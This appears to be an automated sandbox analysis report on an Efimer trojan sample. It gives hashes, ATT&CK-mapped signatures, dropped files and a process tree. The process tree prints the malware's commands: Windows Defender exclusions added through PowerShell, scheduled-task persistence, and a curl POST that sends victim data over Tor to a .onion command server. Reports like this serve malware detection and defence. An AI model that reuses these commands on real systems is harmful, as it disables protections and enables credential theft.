efimer | ee8193edfc7e73810d6be950d2552b2501c3a9f75bc8daadbc66f74a25792d37

Analysis

max time kernel
150s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/05/2026, 19:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
common.dat.exe
Size 13.2MB
Sample260520-yn32hsb19w
SHA256 ee8193edfc7e73810d6be950d2552b2501c3a9f75bc8daadbc66f74a25792d37
MD5 8f58b460464faba11c3f11ae0275aa80
SHA1 b03b5cf9b201a22f1269e6c6d07202bee0547fe3
SHA512 81dc5a4943ad7372a872e651541d512e48b997ae884eb3c599412b1b7f228a4cd44b1862948bcbc1e5f5eeaaf1e5462d58b345bddd5f2b4210d41496530f3251
SSDEEP 393216:6Viq0RFdnGgc0BDvN1W3mIpyLp7AXMCHWUjXPcuI3/PGTAI:6V3sUgvBDvNef0AXMb8XEH/O7
TLSH
T132D6331899D3A0ADC3B394B4BEE2ABF4703039756339CD2F868CC7719C8B5640A685D7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution efimer persistence spyware stealer trojan

Malware Config

Signatures

Family: Efimer
Efimer is a trojan written in JS.
trojan efimer

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5060	powershell.exe
3896	powershell.exe
2972	powershell.exe
2248	powershell.exe
3720	powershell.exe
2412	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 2 IoCs

pid	Process
2592	ugate.exe
3292	ugate.exe

Loads dropped DLL 15 IoCs

pid	Process
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe
4864	common.dat.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ipinfo.io
16	ipinfo.io

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4020	schtasks.exe
4332	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4864	common.dat.exe
4864	common.dat.exe
3720	powershell.exe
3720	powershell.exe
5060	powershell.exe
5060	powershell.exe
3896	powershell.exe
3896	powershell.exe
2972	powershell.exe
2972	powershell.exe
2248	powershell.exe
2248	powershell.exe
2412	powershell.exe
2412	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4864	common.dat.exe
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2412	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 4864	2364	common.dat.exe	88
PID 4864 wrote to memory of 3012	4864	common.dat.exe	89
PID 3012 wrote to memory of 3720	3012	cmd.exe	91
PID 4864 wrote to memory of 2868	4864	common.dat.exe	92
PID 2868 wrote to memory of 5060	2868	cmd.exe	94
PID 4864 wrote to memory of 4940	4864	common.dat.exe	95
PID 4940 wrote to memory of 3896	4940	cmd.exe	97
PID 4864 wrote to memory of 1292	4864	common.dat.exe	98
PID 1292 wrote to memory of 2972	1292	cmd.exe	100
PID 4864 wrote to memory of 1192	4864	common.dat.exe	101
PID 1192 wrote to memory of 2248	1192	cmd.exe	103
PID 4864 wrote to memory of 4196	4864	common.dat.exe	104
PID 4196 wrote to memory of 2412	4196	cmd.exe	106
PID 4864 wrote to memory of 4416	4864	common.dat.exe	107
PID 4864 wrote to memory of 4020	4864	common.dat.exe	110
PID 4864 wrote to memory of 4332	4864	common.dat.exe	114
PID 1964 wrote to memory of 2592	1964	wscript.exe	123
PID 1964 wrote to memory of 1392	1964	wscript.exe	126
PID 1964 wrote to memory of 3292	1964	wscript.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\common.dat.exe
"C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Users\Admin\AppData\Local\Temp\common.dat.exe
  "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-MpComputerStatus | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2412
- - C:\Windows\SYSTEM32\curl.exe
    curl -s --max-time 10 https://ipinfo.io/country
    3⤵
    PID:4416
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn ufino /xml C:\Users\Public\Documents\uzaya\ufino.xml /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4020
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn ocafa /xml C:\Users\Public\Documents\uzaya\ocafa.xml /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4332

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:3908

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ufino.js
1⤵
PID:3372

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ocafa.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Users\Public\Documents\uzaya\ugate.exe
  "C:\Users\Public\Documents\uzaya\ugate.exe"
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-632e724c&FLAG=0&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
  2⤵
  PID:1392
- C:\Users\Public\Documents\uzaya\ugate.exe
  "C:\Users\Public\Documents\uzaya\ugate.exe"
  2⤵
  - Executes dropped EXE
  PID:3292

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 bae551dad802623d716ddccbca4f0b1883b58ca01032f0ab1656a68202e3e542
MD5 68aa133b7248ec0a25a56cdd183935dd
SHA1 d7ed271276fbd115ac117341e52752196ece0613
SHA512 8678d8c17a4e5bc44a578c9e56b3a11a583bd9f209f1a4dc45c4547a8a0e8043d6091e38a540e74d07a02ac04b860aeef41a59021d58323691ab52996cfc4009
TLSH
T117112233F78C8960CC861639509DAC5172B686DB81AEDF9F7FC0C210E1BF584CBA2194
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 e8f1393a9e1a21ef9c18231e6d1301624694e6036ec8ddf1234219eb96222a28
MD5 164a45e66dbe5b4c1fad9ced25394a84
SHA1 5f90cf92b891734679ddb12be560b2ec4c6282d7
SHA512 d05e8eebd235ed67a9a4c8f13004cf576df60ae068b81cd11a9d3de69cde110bf3983005a55adac948c5e8f5843b44c865b56dad4d8a37de3d2e442c4ef2eb55
TLSH
T189112223F38C8920CC96163A509DAC5172B586CB81EEDF9F7FC0D210A1BF584CBA1294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1
MD5 ba169f4dcbbf147fe78ef0061a95e83b
SHA1 92a571a6eef49fff666e0f62a3545bcd1cdcda67
SHA512 8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c
TLSH
T145112223F38C8920CC961539509DAC51B2B586CB81AFDF9F7FC0C210A5BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\VCRUNTIME140.dll
Size 117KB
SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
MD5 862f820c3251e4ca6fc0ac00e4092239
SHA1 ef96d84b253041b090c243594f90938e9a487a9a
SHA512 2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e
SSDEEP 1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
TLSH
T1A2C38D4572A042F7D17AD274C1A36A17FB75B94487A0A3CF03B58A650F13BE0AE3D396
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\VCRUNTIME140_1.dll
Size 48KB
SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
MD5 68156f41ae9a04d89bb6625a5cd222d4
SHA1 3be29d5c53808186eba3a024be377ee6f267c983
SHA512 f7bf8ad7cd8b450050310952c56f6a20b378a972c822ccc253ef3d7381b56ffb3ca6ce3323bea9872674ed1c02017f78ab31e9eb9927fc6b3cba957c247e5d57
SSDEEP 768:ApzzO6ujT3MbR3v0Cz6SR8q83yaFdWr9zRcmgEl6U9zSC:9q/oGw3fFdwzRcmZFzSC
TLSH
T1A3235A9057788486D4AB95B0C1D6EF537E7CFA924710928B0BA0E59C2F637D0EB3D21A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_bz2.pyd
Size 82KB
SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
MD5 cb8c06c8fa9e61e4ac5f22eebf7f1d00
SHA1 d8e0dfc8127749947b09f17c8848166bac659f0d
SHA512 e6da642b7200bfb78f939f7d8148581259baa9a5edda282c621d14ba88083a9b9bd3d17b701e9cde77ad1133c39bd93fc9d955bb620546bb4fcf45c68f1ec7d6
SSDEEP 1536:Kdrz7l1EVLsSuvX3dUK4MLgqK7YEog8y5sV8lIJLVy7SyFB:urzcuvXvrEo7y6V8lIJLVyB
TLSH
T16F838E42E3A56AF5F86B80B956C10367E771B954075093EFF348C2693F02F426DAC36A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_ctypes.pyd
Size 128KB
SHA256 f63c6c7e71c342084d8f1a108786ca6975a52cefef8be32cc2589e6e2fe060c8
MD5 a55e57d7594303c89b5f7a1d1d6f2b67
SHA1 904a9304a07716497cf3e4eaafd82715874c94f1
SHA512 ffa61ad2a408a831b5d86b201814256c172e764c9c1dbe0bd81a2e204e9e8117c66f5dfa56bb7d74275d23154c0ed8e10d4ae8a0d0564434e9761d754f1997fc
SSDEEP 3072:3RF024DWkT/DKGkXY402iXnVJf/FO50XnekZ39gPhvEQZIJyPArm:j0nHT/DKFXZorf/FO50uW3SEQt
TLSH
T1A2D36C0B735800AADA779178C5736F47DBF1B456171087CF02A8C5AA2F63BA26E7E341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_decimal.pyd
Size 271KB
SHA256 b715d1c18e9a9c1531f21c02003b4c6726742d1a2441a1893bc3d79d7bb50e91
MD5 f3377f3de29579140e2bbaeefd334d4f
SHA1 b3076c564dbdfd4ca1b7cc76f36448b0088e2341
SHA512 34d9591590bba20613691a5287ef329e5927a58127ce399088b4d68a178e3af67159a8fc55b4fcdcb08ae094753b20dec2ac3f0b3011481e4ed6f37445cecdd5
SSDEEP 6144:x9iD78EIq4x4OA5bZZ0KDgQcI79qWM53pLW1AFR8E4wXw76TPlpV77777VMvyk:xwDGqr5b8EgQ5+w6k
TLSH
T138446A57A2490CA4EE73807889579B47E7F27C860360D38F43A48AA77F93393676E744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_hashlib.pyd
Size 62KB
SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
MD5 32d76c9abd65a5d2671aeede189bc290
SHA1 0d4440c9652b92b40bb92c20f3474f14e34f8d62
SHA512 49dc391f4e63f4ff7d65d6fd837332745cc114a334fd61a7b6aa6f710b235339964b855422233fac4510ccb9a6959896efe880ab24a56261f78b2a0fd5860cd9
SSDEEP 768:eNJI0DWiflFwY9X3Th1JnptE462TxNvdbj4dIJvI75YiSyvE62Em:2LDxflFwY9XDhPfVNv+dIJvIF7Syc6c
TLSH
T1F5536C01A68080A4C96782B8D9934F5BE6F2F5415791ABDF0318C1CD1F23BC3DAFA796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_lzma.pyd
Size 154KB
SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
MD5 1ba022d42024a655cf289544ae461fb8
SHA1 9772a31083223ecf66751ff3851d2e3303a0764c
SHA512 2b888a2d7467e29968c6bb65af40d4b5e80722ffdda760ad74c912f3a2f315d402f3c099fde82f00f41de6c9faaedb23a643337eb8821e594c567506e3464c62
SSDEEP 3072:KbbS4R/G4Z8r7NjwJTSUqCRY4By7znfB9mNowgn0lCelIJ012+j:KbR/8oWeBi5YOwflCe8o
TLSH
T1B9F34982A794F4E5F7728C78D6624F17E7F5781A032092DA01CC876D2B1FB659E2A313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_socket.pyd
Size 81KB
SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
MD5 fe896371430bd9551717ef12a3e7e818
SHA1 e2a7716e9ce840e53e8fc79d50a77f40b353c954
SHA512 67ecd9a07df0a07edd010f7e3732f3d829f482d67869d6bce0c9a61c24c0fdc5ff4f4e4780b9211062a6371945121d8883ba2e9e2cf8eb07b628547312dfe4c9
SSDEEP 1536:XuV3gvWHQdMq3ORC/OypTXQlyJ+9+nzEYwsBI6tzOKuZIJywJ7Sy21:XuVQvcQTSypTXQlyJs+nzEYJI6QlZIJY
TLSH
T141836C11A69050FADFB3C0B5C5675E23FBB4F4801395979F0166C66A1F33382BE7AA81
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_uuid.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_uuid.pyd
Size 25KB
SHA256 f9d5008f0772aa0720bc056a6ecd5a2a3f24965e4b470b022d88627a436c1ffe
MD5 3acf3138d5550ca6de7e2580e076e0f7
SHA1 3e878a18df2362aa6f0bdbfa058dca115e70d0b8
SHA512 f05e90a0feaa2994b425884af32149fbbe2e11cb7499fc88ca92d8a74410edcd62b2b2c0f1ecd1a46985133f7e89575f2c114bd01f619c22ce52f3cf2a7e37c4
SSDEEP 384:bROw4TUyiIWlIJ0wsaHQIYiSy1pCQxHoQSJIVE8E9VF0NyEIkz:4w4TUyfWlIJ0wT5YiSyvBk2E3kz
TLSH
T19DC27F56DAA05C46DD278A70B4E24E16EEB5BA514B50C3CB3318C2950F623C37BA73F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_wmi.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\_wmi.pyd
Size 37KB
SHA256 6435c679a3a3ff4f16708ebc43f7ca62456c110ac1ea94f617d8052c90c143c7
MD5 1c30cc7df3bd168d883e93c593890b43
SHA1 31465425f349dae4edac9d0feabc23ce83400807
SHA512 267a1807298797b190888f769d998357b183526dfcb25a6f1413e64c5dccf87f51424b7e5d6f2349d7a19381909ab23b138748d8d9f5858f7dc0552f5c5846ac
SSDEEP 768:fEkK9VgWOZbs3550QcJpPllIJLiX5YiSyvQ602Euf0:fE93jkbQcJvlIJLiJ7Syq00
TLSH
T136037E56E7940855D937C6BDC8E64E27F5B1B5825711C3CF3318826D0F32382AA7A3BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\base_library.zip
Size 1.3MB
SHA256 7bb9a4aff4a2324cec14472cddc8d249680cc7867dfb66f15189fe0b4fc69d09
MD5 51e30647daa828cc4afa5592f9ef2ce7
SHA1 27f2d6888d657ad541629d131606801c208e0878
SHA512 6e7a37da5e1ffbdb6f571f7a1a81e5af720f31683749156e53e512bce422e978e003e5c4d713fb076e6fb33f16dcf88285293cb5867789ac5478d597171126cf
SSDEEP 12288:pepNLeGQb9naRdn2ZzcHS91liuOBg80201jwCVRDVoioSYBO6RXN7d7RdjQSXW7Q:wHaCd3SHwRLRddm7Wp45cPudx5/U
TLSH
T114551A92B9527953FF14F37B80B7484CF32E86A2EF00C207355A42661FFEAB49D59588
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

addrs.txt

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\addrs.txt
Size 1.4MB
SHA256 09515a5c25c0e40c9ed50a099a09296c6ed31046de18a36e91de303273adb024
MD5 96ac85b1c8c851434916584123b38aa5
SHA1 4b709b53e0823c140cfc7311c117faefd874cf56
SHA512 bbf8f1a2c5c5226386e6fe261452c952d4a8c13249fdd1ba1853acf2006d8ea8beb6010eb8389cfaa3e5fd5e4761a55f37e97f13b3a4c828982fa523d5bb1422
SSDEEP 24576:bHC+A6n7cRQrlosl65Ok8fP6rsjyLGcdA0Ff/hX9YAsn3csHgcGVRqhQwAYxkPp3:bi+A6n7msjnX6ojyi+tqLnV4VRrF9
TLSH
T12B6502B8CE6319589A8A62D5857B7B6B03E5F271011E19EB0C35DC930A892E1FFD3C1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jobfs_d.js

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\jobfs_d.js
Size 20KB
SHA256 d6976e6101ced2a95d31e5a52a1bd36022ecb959fd0e5c8ced7ef8cc5136431a
MD5 e8e55a26db2c33688e091df77a44a6d3
SHA1 f0b7441a498b155cee72bb344378da3df993ba3b
SHA512 0a2eb5e8eb64821abcbe3098dbbf5c112b952bc9ed959bddf521c4d2b9a6aea97911257b10de047d3dbb31f58e0e6c81a1a479ba6a6138c063c9f4437f956005
SSDEEP 384:rO4MavdVogOZiuPm6uYEcTKUliRkBsWIKnQDtF:9QO6uYEcTK0IKnQJF
TLSH
T119927F1F94A26784C6CC563DCF9B1A9C7BB19E482EE41A31DC58D482F0D2EDD652323B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jobfs_n.js

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\jobfs_n.js
Size 33KB
SHA256 415dd170e49af8170557124b45706f2375e330d075ec7f22baae6912b8716435
MD5 b9527432a007a1c65bf5a65237fc429c
SHA1 cb08efaf88c1ab8c0e3a55711a84cbe8c196a81e
SHA512 88deadc938310dda6b897818a05fca8b9a9b3010292213dfd998b6fd5109687c3b883520ff6f5492bf29ba3b3f3d47f33317a42a837d26a41cb55781d48ca095
SSDEEP 768:K+2TlUKy0ri7dYt5Gl0uMo4I3IAwljClXv6D03oRh6wQ:gU30rMdYbGl0uMLeIAwljC56D04RhrQ
TLSH
T1B6F2A01FD362128CCD6CB07ADAC71A8C3BD244C5AF7565BAE84F6003F1925DD8866BB1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jpack.js

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\jpack.js
Size 2KB
SHA256 4464a459327c07a1fe4de3c1c0d724b0d7129f4486d8954d79bf600954f828a0
MD5 014feb69523f3b8bff0556e6d1d39348
SHA1 cd5bb7b5f2d54d9a6403376da3f22d4910efe909
SHA512 1379d95bfe9a655d20fff5ef96115358cef66edb9d32daba9b22333fc27fd61eb8179a1d22c46b6f8de06237539619d5febf3e470107d9fc8c1eaf7dc364875f
TLSH
T19B51296F30F5E050C29E8074C4CAADEC28F098CE35BDD870989AFF1378B2174976965A
MD5 SHA1 SHA512 TLSH

Submit Download

task.xml

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\task.xml
Size 3KB
SHA256 a8f0e31be42bbf8955c56debc92863c72534b44787d2a73bcb4f8da6913e35cf
MD5 478f992e7554e06646f9b774b916915c
SHA1 8ea440e0beb7bb98ae02b6df6932154ea0bc2d05
SHA512 d1bc071cd2dafff7453527986aa9c8d1dacc49a32e3a2a054d2d3a15a9229b1d426b32fcecb96ee9247e61b13bb388d4c31f89854fe3c14240f71631b738b714
TLSH
T15571F0FC62E83F8370E635AEBA47A7577BF5A67254E37783E34121068015031E1D6B92
MD5 SHA1 SHA512 TLSH

Submit Download

ugate.exe

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\ugate.exe
Size 8.6MB
SHA256 d02902ab3bbb32163439bc5e63b4de2ad3c622fa41c19ddd9443269f081d8990
MD5 7b0bb89ff39dc6dbf22594958b5fb4a9
SHA1 2f0226772d2ffe5b2840cc79540880d7d7bd2422
SHA512 15ab5179bdb47cf9f5546dc0f4c8094922743dc675a089cd0f8181f714cee3efb12a2f83104d347a355c818fa09ab447c19e18e70c5977f9b480b6c89a848cdf
SSDEEP 98304:NbHT+oeBUXClfoksRgN9TCgMka+O9DtpAzdW6mQ1RiBXFnAS++W98mF:Nb5eeXCx/s6CgVOptpAzdWCcXo8c
TLSH
T13996AE9D08E97E0F746D33AA2506895BFFDAE25F4C180EDC89E2F0E91E4BDA448115F4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

words.txt

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\data_pack\words.txt
Size 14KB
SHA256 5fb8ed14a4dcafbbfb22af87501e72e1e36ad01bbf0fd4c530c34f906f815d30
MD5 bc579d830b1eaeb523237890f205867a
SHA1 cf5ecfaeded64289d405b1eb7fdb28f010f93d5c
SHA512 309ea934621d1b2663002c23b9dcd7771da5fd28d3ac0ca51c2f1d9421dd7b142b8adc76b233a4c2fbb89041ae4b208ce76ea137b8180ed9c8f392b6fee90676
SSDEEP 384:mkFbsm1No9kJ2wtv1EM09zTwQixLlJFbHR6F7uIoW:mkFbsm1EkJRtdB09gLXbEF7ubW
TLSH
T12862AE91FF76414829291CBB383F228C2FAE9D621DE48AB3BF48506545018B758EFC3D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\libcrypto-3.dll
Size 5.0MB
SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
MD5 123ad0908c76ccba4789c084f7a6b8d0
SHA1 86de58289c8200ed8c1fc51d5f00e38e32c1aad5
SHA512 80fae0533ba9a2f5fa7806e86f0db8b6aab32620dde33b70a3596938b529f3822856de75bddb1b06721f8556ec139d784bc0bb9c8da0d391df2c20a80d33cb04
SSDEEP 98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
TLSH
T11A367B6AA7A80189E4BAC13CC9534617D2B1F81A17B097CF19A1967D0F37FDA2B3D740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI23642\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
